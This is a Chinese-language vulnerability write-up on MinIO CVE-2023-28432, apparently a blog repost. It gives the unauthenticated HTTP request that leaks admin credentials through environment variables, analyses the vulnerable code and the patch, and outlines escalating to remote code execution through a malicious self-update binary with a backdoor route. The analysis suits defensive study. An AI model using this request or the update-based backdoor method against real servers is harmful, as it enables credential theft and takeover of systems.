前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >MinIO信息泄漏漏洞分析

MinIO信息泄漏漏洞分析

作者头像
ek1ng
发布2023-04-03 09:41:25
1.9K0
发布2023-04-03 09:41:25
举报
文章被收录于专栏:ek1ng的技术小站ek1ng的技术小站

参考文章: https://mp.weixin.qq.com/s/GNhQLuzD8up3VcBRIinmgQ https://github.com/minio/minio/security/advisories/GHSA-6xvq-wj2x-3h3q 漏洞比较新,很多师傅也写了博客记录了自己的尝试,很多地方可能写的不是特别明确,这里也结合了一些自己的思考去尝试分析。

漏洞复现

可以用vulhub上配好的docker文件来起漏洞环境

代码语言:javascript
复制
POST /minio/bootstrap/v1/verify HTTP/1.1
Host: your-ip:9000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

image-20230401222111087
image-20230401222111087

得到账号密码minioadmin/minioadmin-vulhub

image-20230401222515539
image-20230401222515539

可以成功登陆后台

MinIO后台如何RCE我们后面再说,先看一看漏洞的成因

漏洞分析

有漏洞版本的代码

image-20230401230547112
image-20230401230547112

在集群模式下会注册/minio/bootstrap/v1/verify这个路由

代码语言:javascript
复制
// minio/cmd/bootstrap-peer-server.go
func (b *bootstrapRESTServer) VerifyHandler(w http.ResponseWriter, r *http.Request) {
  ctx := newContext(r, w, "VerifyHandler")
  cfg := getServerSystemCfg()
  logger.LogIf(ctx, json.NewEncoder(w).Encode(&cfg))
}

// minio/cmd/bootstrap-peer-server.go
func getServerSystemCfg() ServerSystemConfig {
  envs := env.List("MINIO_")
  envValues := make(map[string]string, len(envs))
  for _, envK := range envs {
    // skip certain environment variables as part
    // of the whitelist and could be configured
    // differently on each nodes, update skipEnvs()
    // map if there are such environment values
    if _, ok := skipEnvs[envK]; ok {
      continue
    }
    envValues[envK] = env.Get(envK, "")
  }
  return ServerSystemConfig{
    MinioEndpoints: globalEndpoints,
    MinioEnv:       envValues,
  }
}

而根据这部分代码,由于此路由没有鉴权,请求接口就会返回环境变量。MinIO启动时会从环境变量中读取预设的管理员账号密码,所以环境变量中存在管理员账号。如果没有预设,那么就是默认的账号密码。

因此从攻击角度来说,这个信息泄漏会导致无论是否预设,都能拿到账号密码登陆。

image-20230401230255122
image-20230401230255122

再看一下修复方案,也是把账号密码等从接口中移除回显,同时增加了对于接口的鉴权部分。

漏洞利用

通过自更新完成RCE

参考: https://y4er.com/posts/minio-cve-2023-28432/ https://github.com/AbelChe/evil_minio

MinIO是Go写的项目,语言本身缺乏动态特性,不过有意思的是后台具备自更新功能,可以利用这个功能运行恶意二进制文件完成RCE。

/minio/admin/v3/update?updateURL={updateURL}这个路由的功能中,可以从远程加载二进制文件,下载并更新。

具体可以利用minio的cli客户端工具,进行更新

image-20230402110448794
image-20230402110448794

但是如果是一个伪造好的恶意二进制文件,运行后minio的服务就宕机了,这里可以参考https://github.com/AbelChe/evil_minio项目,思路是魔改minio,添加一个后门路由来完成不破坏原有服务,完成RCE的工作。

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2023年4月2日,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 漏洞复现
  • 漏洞分析
  • 漏洞利用
    • 通过自更新完成RCE
    相关产品与服务
    容器服务
    腾讯云容器服务(Tencent Kubernetes Engine, TKE)基于原生 kubernetes 提供以容器为核心的、高度可扩展的高性能容器管理服务,覆盖 Serverless、边缘计算、分布式云等多种业务部署场景,业内首创单个集群兼容多种计算节点的容器资源管理模式。同时产品作为云原生 Finops 领先布道者,主导开源项目Crane,全面助力客户实现资源优化、成本控制。
    领券
    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档